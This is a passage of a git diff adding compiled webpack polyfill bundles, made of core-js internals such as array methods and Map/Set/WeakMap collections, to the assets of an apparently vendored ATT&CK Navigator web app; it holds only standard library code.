core_js_modules_es_map__WEBPACK_IMPORTED_MODULE_70___default = /*#__PURE__*/__webpack_require__.n(core_js_modules_es_map__WEBPACK_IMPORTED_MODULE_70__); +/* harmony import */ var core_js_modules_es_weak_map__WEBPACK_IMPORTED_MODULE_71__ = __webpack_require__(/*! core-js/modules/es.weak-map */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/modules/es.weak-map.js"); +/* harmony import */ var core_js_modules_es_weak_map__WEBPACK_IMPORTED_MODULE_71___default = /*#__PURE__*/__webpack_require__.n(core_js_modules_es_weak_map__WEBPACK_IMPORTED_MODULE_71__); +/* harmony import */ var core_js_modules_es_set__WEBPACK_IMPORTED_MODULE_72__ = __webpack_require__(/*! core-js/modules/es.set */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/modules/es.set.js"); +/* harmony import */ var core_js_modules_es_set__WEBPACK_IMPORTED_MODULE_72___default = /*#__PURE__*/__webpack_require__.n(core_js_modules_es_set__WEBPACK_IMPORTED_MODULE_72__); +/* harmony import */ var core_js_modules_web_dom_collections_iterator__WEBPACK_IMPORTED_MODULE_73__ = __webpack_require__(/*! core-js/modules/web.dom-collections.iterator */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/modules/web.dom-collections.iterator.js"); +/* harmony import */ var core_js_modules_web_dom_collections_iterator__WEBPACK_IMPORTED_MODULE_73___default = /*#__PURE__*/__webpack_require__.n(core_js_modules_web_dom_collections_iterator__WEBPACK_IMPORTED_MODULE_73__); +/* harmony import */ var core_js_modules_es_promise__WEBPACK_IMPORTED_MODULE_74__ = __webpack_require__(/*! core-js/modules/es.promise */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/modules/es.promise.js"); +/* harmony import */ var core_js_modules_es_promise__WEBPACK_IMPORTED_MODULE_74___default = /*#__PURE__*/__webpack_require__.n(core_js_modules_es_promise__WEBPACK_IMPORTED_MODULE_74__); +/** + * @license + * Copyright Google Inc. All Rights Reserved. + * + * Use of this source code is governed by an MIT-style license that can be + * found in the LICENSE file at https://angular.io/license + */ + +// ES2015 symbol capabilities + + + +// ES2015 function capabilities + + + + +// ES2015 object capabilities + + + + + + + + + + + + + + + + + + +// ES2015 array capabilities + + + + + + + + + + + + + + + + + + + + + +// ES2015 string capabilities + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +/***/ }), + +/***/ 16: +/*!*******************************************************************************************************************************************************************************************************!*\ + !*** multi ./node_modules/@angular-devkit/build-angular/src/angular-cli-files/models/es5-polyfills.js ./node_modules/@angular-devkit/build-angular/src/angular-cli-files/models/es5-jit-polyfills.js ***! + \*******************************************************************************************************************************************************************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +__webpack_require__(/*! /home/LON/bernalo/git/attack-navigator/nav-app/node_modules/@angular-devkit/build-angular/src/angular-cli-files/models/es5-polyfills.js */"./node_modules/@angular-devkit/build-angular/src/angular-cli-files/models/es5-polyfills.js"); +module.exports = __webpack_require__(/*! /home/LON/bernalo/git/attack-navigator/nav-app/node_modules/@angular-devkit/build-angular/src/angular-cli-files/models/es5-jit-polyfills.js */"./node_modules/@angular-devkit/build-angular/src/angular-cli-files/models/es5-jit-polyfills.js"); + + +/***/ }) + +},[[16,"runtime"]]]); +//# sourceMappingURL=polyfills-es5.js.map \ No newline at end of file diff --git a/public/assets/attack-navigator/polyfills.js b/public/assets/attack-navigator/polyfills.js new file mode 100644 index 0000000..f63d449 --- /dev/null +++ b/public/assets/attack-navigator/polyfills.js @@ -0,0 +1,13665 @@ +(window["webpackJsonp"] = window["webpackJsonp"] || []).push([["polyfills"],{ + +/***/ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/a-function.js": +/*!*************************************************************************************************!*\ + !*** ./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/a-function.js ***! + \*************************************************************************************************/ +/*! no static exports found */ +/***/ (function(module, exports) { + +module.exports = function (it) { + if (typeof it != 'function') { + throw TypeError(String(it) + ' is not a function'); + } return it; +}; + + +/***/ }), + +/***/ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/an-instance.js": +/*!**************************************************************************************************!*\ + !*** ./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/an-instance.js ***! + \**************************************************************************************************/ +/*! no static exports found */ +/***/ (function(module, exports) { + +module.exports = function (it, Constructor, name) { + if (!(it instanceof Constructor)) { + throw TypeError('Incorrect ' + (name ? name + ' ' : '') + 'invocation'); + } return it; +}; + + +/***/ }), + +/***/ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/an-object.js": +/*!************************************************************************************************!*\ + !*** ./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/an-object.js ***! + \************************************************************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +var isObject = __webpack_require__(/*! ../internals/is-object */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/is-object.js"); + +module.exports = function (it) { + if (!isObject(it)) { + throw TypeError(String(it) + ' is not an object'); + } return it; +}; + + +/***/ }), + +/***/ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/array-includes.js": +/*!*****************************************************************************************************!*\ + !*** ./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/array-includes.js ***! + \*****************************************************************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +var toIndexedObject = __webpack_require__(/*! ../internals/to-indexed-object */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/to-indexed-object.js"); +var toLength = __webpack_require__(/*! ../internals/to-length */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/to-length.js"); +var toAbsoluteIndex = __webpack_require__(/*! ../internals/to-absolute-index */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/to-absolute-index.js"); + +// `Array.prototype.{ indexOf, includes }` methods implementation +// false -> Array#indexOf +// https://tc39.github.io/ecma262/#sec-array.prototype.indexof +// true -> Array#includes +// https://tc39.github.io/ecma262/#sec-array.prototype.includes +module.exports = function (IS_INCLUDES) { + return function ($this, el, fromIndex) { + var O = toIndexedObject($this); + var length = toLength(O.length); + var index = toAbsoluteIndex(fromIndex, length); + var value; + // Array#includes uses SameValueZero equality algorithm + // eslint-disable-next-line no-self-compare + if (IS_INCLUDES && el != el) while (length > index) { + value = O[index++]; + // eslint-disable-next-line no-self-compare + if (value != value) return true; + // Array#indexOf ignores holes, Array#includes - not + } else for (;length > index; index++) if (IS_INCLUDES || index in O) { + if (O[index] === el) return IS_INCLUDES || index || 0; + } return !IS_INCLUDES && -1; + }; +}; + + +/***/ }), + +/***/ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/array-methods.js": +/*!****************************************************************************************************!*\ + !*** ./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/array-methods.js ***! + \****************************************************************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +var bind = __webpack_require__(/*! ../internals/bind-context */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/bind-context.js"); +var IndexedObject = __webpack_require__(/*! ../internals/indexed-object */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/indexed-object.js"); +var toObject = __webpack_require__(/*! ../internals/to-object */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/to-object.js"); +var toLength = __webpack_require__(/*! ../internals/to-length */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/to-length.js"); +var arraySpeciesCreate = __webpack_require__(/*! ../internals/array-species-create */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/array-species-create.js"); + +// `Array.prototype.{ forEach, map, filter, some, every, find, findIndex }` methods implementation +// 0 -> Array#forEach +// https://tc39.github.io/ecma262/#sec-array.prototype.foreach +// 1 -> Array#map +// https://tc39.github.io/ecma262/#sec-array.prototype.map +// 2 -> Array#filter +// https://tc39.github.io/ecma262/#sec-array.prototype.filter +// 3 -> Array#some +// https://tc39.github.io/ecma262/#sec-array.prototype.some +// 4 -> Array#every +// https://tc39.github.io/ecma262/#sec-array.prototype.every +// 5 -> Array#find +// https://tc39.github.io/ecma262/#sec-array.prototype.find +// 6 -> Array#findIndex +// https://tc39.github.io/ecma262/#sec-array.prototype.findIndex +module.exports = function (TYPE, specificCreate) { + var IS_MAP = TYPE == 1; + var IS_FILTER = TYPE == 2; + var IS_SOME = TYPE == 3; + var IS_EVERY = TYPE == 4; + var IS_FIND_INDEX = TYPE == 6; + var NO_HOLES = TYPE == 5 || IS_FIND_INDEX; + var create = specificCreate || arraySpeciesCreate; + return function ($this, callbackfn, that) { + var O = toObject($this); + var self = IndexedObject(O); + var boundFunction = bind(callbackfn, that, 3); + var length = toLength(self.length); + var index = 0; + var target = IS_MAP ? create($this, length) : IS_FILTER ? create($this, 0) : undefined; + var value, result; + for (;length > index; index++) if (NO_HOLES || index in self) { + value = self[index]; + result = boundFunction(value, index, O); + if (TYPE) { + if (IS_MAP) target[index] = result; // map + else if (result) switch (TYPE) { + case 3: return true; // some + case 5: return value; // find + case 6: return index; // findIndex + case 2: target.push(value); // filter + } else if (IS_EVERY) return false; // every + } + } + return IS_FIND_INDEX ? -1 : IS_SOME || IS_EVERY ? IS_EVERY : target; + }; +}; + + +/***/ }), + +/***/ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/array-species-create.js": +/*!***********************************************************************************************************!*\ + !*** ./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/array-species-create.js ***! + \***********************************************************************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +var isObject = __webpack_require__(/*! ../internals/is-object */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/is-object.js"); +var isArray = __webpack_require__(/*! ../internals/is-array */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/is-array.js"); +var SPECIES = __webpack_require__(/*! ../internals/well-known-symbol */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/well-known-symbol.js")('species'); + +// `ArraySpeciesCreate` abstract operation +// https://tc39.github.io/ecma262/#sec-arrayspeciescreate +module.exports = function (originalArray, length) { + var C; + if (isArray(originalArray)) { + C = originalArray.constructor; + // cross-realm fallback + if (typeof C == 'function' && (C === Array || isArray(C.prototype))) C = undefined; + else if (isObject(C)) { + C = C[SPECIES]; + if (C === null) C = undefined; + } + } return new (C === undefined ? Array : C)(length === 0 ? 0 : length); +}; + + +/***/ }), + +/***/ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/bind-context.js": +/*!***************************************************************************************************!*\ + !*** ./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/bind-context.js ***! + \***************************************************************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +var aFunction = __webpack_require__(/*! ../internals/a-function */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/a-function.js"); + +// optional / simple context binding +module.exports = function (fn, that, length) { + aFunction(fn); + if (that === undefined) return fn; + switch (length) { + case 0: return function () { + return fn.call(that); + }; + case 1: return function (a) { + return fn.call(that, a); + }; + case 2: return function (a, b) { + return fn.call(that, a, b); + }; + case 3: return function (a, b, c) { + return fn.call(that, a, b, c); + }; + } + return function (/* ...args */) { + return fn.apply(that, arguments); + }; +}; + + +/***/ }), + +/***/ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/call-with-safe-iteration-closing.js": +/*!***********************************************************************************************************************!*\ + !*** ./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/call-with-safe-iteration-closing.js ***! + \***********************************************************************************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +var anObject = __webpack_require__(/*! ../internals/an-object */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/an-object.js"); + +// call something on iterator step with safe closing on error +module.exports = function (iterator, fn, value, ENTRIES) { + try { + return ENTRIES ? fn(anObject(value)[0], value[1]) : fn(value); + // 7.4.6 IteratorClose(iterator, completion) + } catch (error) { + var returnMethod = iterator['return']; + if (returnMethod !== undefined) anObject(returnMethod.call(iterator)); + throw error; + } +}; + + +/***/ }), + +/***/ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/check-correctness-of-iteration.js": +/*!*********************************************************************************************************************!*\ + !*** ./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/check-correctness-of-iteration.js ***! + \*********************************************************************************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +var ITERATOR = __webpack_require__(/*! ../internals/well-known-symbol */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/well-known-symbol.js")('iterator'); +var SAFE_CLOSING = false; + +try { + var called = 0; + var iteratorWithReturn = { + next: function () { + return { done: !!called++ }; + }, + 'return': function () { + SAFE_CLOSING = true; + } + }; + iteratorWithReturn[ITERATOR] = function () { + return this; + }; + // eslint-disable-next-line no-throw-literal + Array.from(iteratorWithReturn, function () { throw 2; }); +} catch (error) { /* empty */ } + +module.exports = function (exec, SKIP_CLOSING) { + if (!SKIP_CLOSING && !SAFE_CLOSING) return false; + var ITERATION_SUPPORT = false; + try { + var object = {}; + object[ITERATOR] = function () { + return { + next: function () { + return { done: ITERATION_SUPPORT = true }; + } + }; + }; + exec(object); + } catch (error) { /* empty */ } + return ITERATION_SUPPORT; +}; + + +/***/ }), + +/***/ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/classof-raw.js": +/*!**************************************************************************************************!*\ + !*** ./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/classof-raw.js ***! + \**************************************************************************************************/ +/*! no static exports found */ +/***/ (function(module, exports) { + +var toString = {}.toString; + +module.exports = function (it) { + return toString.call(it).slice(8, -1); +}; + + +/***/ }), + +/***/ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/classof.js": +/*!**********************************************************************************************!*\ + !*** ./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/classof.js ***! + \**********************************************************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +var classofRaw = __webpack_require__(/*! ../internals/classof-raw */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/classof-raw.js"); +var TO_STRING_TAG = __webpack_require__(/*! ../internals/well-known-symbol */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/well-known-symbol.js")('toStringTag'); +// ES3 wrong here +var CORRECT_ARGUMENTS = classofRaw(function () { return arguments; }()) == 'Arguments'; + +// fallback for IE11 Script Access Denied error +var tryGet = function (it, key) { + try { + return it[key]; + } catch (error) { /* empty */ } +}; + +// getting tag from ES6+ `Object.prototype.toString` +module.exports = function (it) { + var O, tag, result; + return it === undefined ? 'Undefined' : it === null ? 'Null' + // @@toStringTag case + : typeof (tag = tryGet(O = Object(it), TO_STRING_TAG)) == 'string' ? tag + // builtinTag case + : CORRECT_ARGUMENTS ? classofRaw(O) + // ES3 arguments fallback + : (result = classofRaw(O)) == 'Object' && typeof O.callee == 'function' ? 'Arguments' : result; +}; + + +/***/ }), + +/***/ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/collection-strong.js": +/*!********************************************************************************************************!*\ + !*** ./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/collection-strong.js ***! + \********************************************************************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +"use strict"; + +var defineProperty = __webpack_require__(/*! ../internals/object-define-property */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/object-define-property.js").f; +var create = __webpack_require__(/*! ../internals/object-create */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/object-create.js"); +var redefineAll = __webpack_require__(/*! ../internals/redefine-all */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/redefine-all.js"); +var bind = __webpack_require__(/*! ../internals/bind-context */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/bind-context.js"); +var anInstance = __webpack_require__(/*! ../internals/an-instance */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/an-instance.js"); +var iterate = __webpack_require__(/*! ../internals/iterate */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/iterate.js"); +var defineIterator = __webpack_require__(/*! ../internals/define-iterator */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/define-iterator.js"); +var setSpecies = __webpack_require__(/*! ../internals/set-species */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/set-species.js"); +var DESCRIPTORS = __webpack_require__(/*! ../internals/descriptors */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/descriptors.js"); +var fastKey = __webpack_require__(/*! ../internals/internal-metadata */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/internal-metadata.js").fastKey; +var InternalStateModule = __webpack_require__(/*! ../internals/internal-state */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/internal-state.js"); +var setInternalState = InternalStateModule.set; +var internalStateGetterFor = InternalStateModule.getterFor; + +module.exports = { + getConstructor: function (wrapper, CONSTRUCTOR_NAME, IS_MAP, ADDER) { + var C = wrapper(function (that, iterable) { + anInstance(that, C, CONSTRUCTOR_NAME); + setInternalState(that, { + type: CONSTRUCTOR_NAME, + index: create(null), + first: undefined, + last: undefined, + size: 0 + }); + if (!DESCRIPTORS) that.size = 0; + if (iterable != undefined) iterate(iterable, that[ADDER], that, IS_MAP); + }); + + var getInternalState = internalStateGetterFor(CONSTRUCTOR_NAME); + + var define = function (that, key, value) { + var state = getInternalState(that); + var entry = getEntry(that, key); + var previous, index; + // change existing entry + if (entry) { + entry.value = value; + // create new entry + } else { + state.last = entry = { + index: index = fastKey(key, true), + key: key, + value: value, + previous: previous = state.last, + next: undefined, + removed: false + }; + if (!state.first) state.first = entry; + if (previous) previous.next = entry; + if (DESCRIPTORS) state.size++; + else that.size++; + // add to index + if (index !== 'F') state.index[index] = entry; + } return that; + }; + + var getEntry = function (that, key) { + var state = getInternalState(that); + // fast case + var index = fastKey(key); + var entry; + if (index !== 'F') return state.index[index]; + // frozen object case + for (entry = state.first; entry; entry = entry.next) { + if (entry.key == key) return entry; + } + }; + + redefineAll(C.prototype, { + // 23.1.3.1 Map.prototype.clear() + // 23.2.3.2 Set.prototype.clear() + clear: function clear() { + var that = this; + var state = getInternalState(that); + var data = state.index; + var entry = state.first; + while (entry) { + entry.removed = true; + if (entry.previous) entry.previous = entry.previous.next = undefined; + delete data[entry.index]; + entry = entry.next; + } + state.first = state.last = undefined; + if (DESCRIPTORS) state.size = 0; + else that.size = 0; + }, + // 23.1.3.3 Map.prototype.delete(key) + // 23.2.3.4 Set.prototype.delete(value) + 'delete': function (key) { + var that = this; + var state = getInternalState(that); + var entry = getEntry(that, key); + if (entry) { + var next = entry.next; + var prev = entry.previous; + delete state.index[entry.index]; + entry.removed = true; + if (prev) prev.next = next; + if (next) next.previous = prev; + if (state.first == entry) state.first = next; + if (state.last == entry) state.last = prev; + if (DESCRIPTORS) state.size--; + else that.size--; + } return !!entry; + }, + // 23.2.3.6 Set.prototype.forEach(callbackfn, thisArg = undefined) + // 23.1.3.5 Map.prototype.forEach(callbackfn, thisArg = undefined) + forEach: function forEach(callbackfn /* , that = undefined */) { + var state = getInternalState(this); + var boundFunction = bind(callbackfn, arguments.length > 1 ? arguments[1] : undefined, 3); + var entry; + while (entry = entry ? entry.next : state.first) { + boundFunction(entry.value, entry.key, this); + // revert to the last existing entry + while (entry && entry.removed) entry = entry.previous; + } + }, + // 23.1.3.7 Map.prototype.has(key) + // 23.2.3.7 Set.prototype.has(value) + has: function has(key) { + return !!getEntry(this, key); + } + }); + + redefineAll(C.prototype, IS_MAP ? { + // 23.1.3.6 Map.prototype.get(key) + get: function get(key) { + var entry = getEntry(this, key); + return entry && entry.value; + }, + // 23.1.3.9 Map.prototype.set(key, value) + set: function set(key, value) { + return define(this, key === 0 ? 0 : key, value); + } + } : { + // 23.2.3.1 Set.prototype.add(value) + add: function add(value) { + return define(this, value = value === 0 ? 0 : value, value); + } + }); + if (DESCRIPTORS) defineProperty(C.prototype, 'size', { + get: function () { + return getInternalState(this).size; + } + }); + return C; + }, + setStrong: function (C, CONSTRUCTOR_NAME, IS_MAP) { + var ITERATOR_NAME = CONSTRUCTOR_NAME + ' Iterator'; + var getInternalCollectionState = internalStateGetterFor(CONSTRUCTOR_NAME); + var getInternalIteratorState = internalStateGetterFor(ITERATOR_NAME); + // add .keys, .values, .entries, [@@iterator] + // 23.1.3.4, 23.1.3.8, 23.1.3.11, 23.1.3.12, 23.2.3.5, 23.2.3.8, 23.2.3.10, 23.2.3.11 + defineIterator(C, CONSTRUCTOR_NAME, function (iterated, kind) { + setInternalState(this, { + type: ITERATOR_NAME, + target: iterated, + state: getInternalCollectionState(iterated), + kind: kind, + last: undefined + }); + }, function () { + var state = getInternalIteratorState(this); + var kind = state.kind; + var entry = state.last; + // revert to the last existing entry + while (entry && entry.removed) entry = entry.previous; + // get next entry + if (!state.target || !(state.last = entry = entry ? entry.next : state.state.first)) { + // or finish the iteration + state.target = undefined; + return { value: undefined, done: true }; + } + // return step by kind + if (kind == 'keys') return { value: entry.key, done: false }; + if (kind == 'values') return { value: entry.value, done: false }; + return { value: [entry.key, entry.value], done: false }; + }, IS_MAP ? 'entries' : 'values', !IS_MAP, true); + + // add [@@species], 23.1.2.2, 23.2.2.2 + setSpecies(CONSTRUCTOR_NAME); + } +}; + + +/***/ }), + +/***/ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/collection-weak.js": +/*!******************************************************************************************************!*\ + !*** ./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/collection-weak.js ***! + \******************************************************************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +"use strict"; + +var redefineAll = __webpack_require__(/*! ../internals/redefine-all */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/redefine-all.js"); +var getWeakData = __webpack_require__(/*! ../internals/internal-metadata */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/internal-metadata.js").getWeakData; +var anObject = __webpack_require__(/*! ../internals/an-object */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/an-object.js"); +var isObject = __webpack_require__(/*! ../internals/is-object */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/is-object.js"); +var anInstance = __webpack_require__(/*! ../internals/an-instance */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/an-instance.js"); +var iterate = __webpack_require__(/*! ../internals/iterate */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/iterate.js"); +var createArrayMethod = __webpack_require__(/*! ../internals/array-methods */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/array-methods.js"); +var $has = __webpack_require__(/*! ../internals/has */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/has.js"); +var InternalStateModule = __webpack_require__(/*! ../internals/internal-state */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/internal-state.js"); +var setInternalState = InternalStateModule.set; +var internalStateGetterFor = InternalStateModule.getterFor; +var arrayFind = createArrayMethod(5); +var arrayFindIndex = createArrayMethod(6); +var id = 0; + +// fallback for uncaught frozen keys +var uncaughtFrozenStore = function (store) { + return store.frozen || (store.frozen = new UncaughtFrozenStore()); +}; + +var UncaughtFrozenStore = function () { + this.entries = []; +}; + +var findUncaughtFrozen = function (store, key) { + return arrayFind(store.entries, function (it) { + return it[0] === key; + }); +}; + +UncaughtFrozenStore.prototype = { + get: function (key) { + var entry = findUncaughtFrozen(this, key); + if (entry) return entry[1]; + }, + has: function (key) { + return !!findUncaughtFrozen(this, key); + }, + set: function (key, value) { + var entry = findUncaughtFrozen(this, key); + if (entry) entry[1] = value; + else this.entries.push([key, value]); + }, + 'delete': function (key) { + var index = arrayFindIndex(this.entries, function (it) { + return it[0] === key; + }); + if (~index) this.entries.splice(index, 1); + return !!~index; + } +}; + +module.exports = { + getConstructor: function (wrapper, CONSTRUCTOR_NAME, IS_MAP, ADDER) { + var C = wrapper(function (that, iterable) { + anInstance(that, C, CONSTRUCTOR_NAME); + setInternalState(that, { + type: CONSTRUCTOR_NAME, + id: id++, + frozen: undefined + }); + if (iterable != undefined) iterate(iterable, that[ADDER], that, IS_MAP); + }); + + var getInternalState = internalStateGetterFor(CONSTRUCTOR_NAME); + + var define = function (that, key, value) { + var state = getInternalState(that); + var data = getWeakData(anObject(key), true); + if (data === true) uncaughtFrozenStore(state).set(key, value); + else data[state.id] = value; + return that; + }; + + redefineAll(C.prototype, { + // 23.3.3.2 WeakMap.prototype.delete(key) + // 23.4.3.3 WeakSet.prototype.delete(value) + 'delete': function (key) { + var state = getInternalState(this); + if (!isObject(key)) return false; + var data = getWeakData(key); + if (data === true) return uncaughtFrozenStore(state)['delete'](key); + return data && $has(data, state.id) && delete data[state.id]; + }, + // 23.3.3.4 WeakMap.prototype.has(key) + // 23.4.3.4 WeakSet.prototype.has(value) + has: function has(key) { + var state = getInternalState(this); + if (!isObject(key)) return false; + var data = getWeakData(key); + if (data === true) return uncaughtFrozenStore(state).has(key); + return data && $has(data, state.id); + } + }); + + redefineAll(C.prototype, IS_MAP ? { + // 23.3.3.3 WeakMap.prototype.get(key) + get: function get(key) { + var state = getInternalState(this); + if (isObject(key)) { + var data = getWeakData(key); + if (data === true) return uncaughtFrozenStore(state).get(key); + return data ? data[state.id] : undefined; + } + }, + // 23.3.3.5 WeakMap.prototype.set(key, value) + set: function set(key, value) { + return define(this, key, value); + } + } : { + // 23.4.3.1 WeakSet.prototype.add(value) + add: function add(value) { + return define(this, value, true); + } + }); + + return C; + } +}; + + +/***/ }), + +/***/ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/collection.js": +/*!*************************************************************************************************!*\ + !*** ./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/collection.js ***! + \*************************************************************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +"use strict"; + +var global = __webpack_require__(/*! ../internals/global */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/global.js"); +var isForced = __webpack_require__(/*! ../internals/is-forced */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/is-forced.js"); +var $export = __webpack_require__(/*! ../internals/export */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/export.js"); +var redefine = __webpack_require__(/*! ../internals/redefine */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/redefine.js"); +var InternalMetadataModule = __webpack_require__(/*! ../internals/internal-metadata */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/internal-metadata.js"); +var iterate = __webpack_require__(/*! ../internals/iterate */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/iterate.js"); +var anInstance = __webpack_require__(/*! ../internals/an-instance */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/an-instance.js"); +var isObject = __webpack_require__(/*! ../internals/is-object */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/is-object.js"); +var fails = __webpack_require__(/*! ../internals/fails */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/fails.js"); +var checkCorrectnessOfIteration = __webpack_require__(/*! ../internals/check-correctness-of-iteration */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/check-correctness-of-iteration.js"); +var setToStringTag = __webpack_require__(/*! ../internals/set-to-string-tag */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/set-to-string-tag.js"); +var inheritIfRequired = __webpack_require__(/*! ../internals/inherit-if-required */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/inherit-if-required.js"); + +module.exports = function (CONSTRUCTOR_NAME, wrapper, common, IS_MAP, IS_WEAK) { + var NativeConstructor = global[CONSTRUCTOR_NAME]; + var NativePrototype = NativeConstructor && NativeConstructor.prototype; + var Constructor = NativeConstructor; + var ADDER = IS_MAP ? 'set' : 'add'; + var exported = {}; + + var fixMethod = function (KEY) { + var nativeMethod = NativePrototype[KEY]; + redefine(NativePrototype, KEY, + KEY == 'add' ? function add(a) { + nativeMethod.call(this, a === 0 ? 0 : a); + return this; + } : KEY == 'delete' ? function (a) { + return IS_WEAK && !isObject(a) ? false : nativeMethod.call(this, a === 0 ? 0 : a); + } : KEY == 'get' ? function get(a) { + return IS_WEAK && !isObject(a) ? undefined : nativeMethod.call(this, a === 0 ? 0 : a); + } : KEY == 'has' ? function has(a) { + return IS_WEAK && !isObject(a) ? false : nativeMethod.call(this, a === 0 ? 0 : a); + } : function set(a, b) { + nativeMethod.call(this, a === 0 ? 0 : a, b); + return this; + } + ); + }; + + // eslint-disable-next-line max-len + if (isForced(CONSTRUCTOR_NAME, typeof NativeConstructor != 'function' || !(IS_WEAK || NativePrototype.forEach && !fails(function () { + new NativeConstructor().entries().next(); + })))) { + // create collection constructor + Constructor = common.getConstructor(wrapper, CONSTRUCTOR_NAME, IS_MAP, ADDER); + InternalMetadataModule.REQUIRED = true; + } else if (isForced(CONSTRUCTOR_NAME, true)) { + var instance = new Constructor(); + // early implementations not supports chaining + var HASNT_CHAINING = instance[ADDER](IS_WEAK ? {} : -0, 1) != instance; + // V8 ~ Chromium 40- weak-collections throws on primitives, but should return false + var THROWS_ON_PRIMITIVES = fails(function () { instance.has(1); }); + // most early implementations doesn't supports iterables, most modern - not close it correctly + // eslint-disable-next-line no-new + var ACCEPT_ITERABLES = checkCorrectnessOfIteration(function (iterable) { new NativeConstructor(iterable); }); + // for early implementations -0 and +0 not the same + var BUGGY_ZERO = !IS_WEAK && fails(function () { + // V8 ~ Chromium 42- fails only with 5+ elements + var $instance = new NativeConstructor(); + var index = 5; + while (index--) $instance[ADDER](index, index); + return !$instance.has(-0); + }); + + if 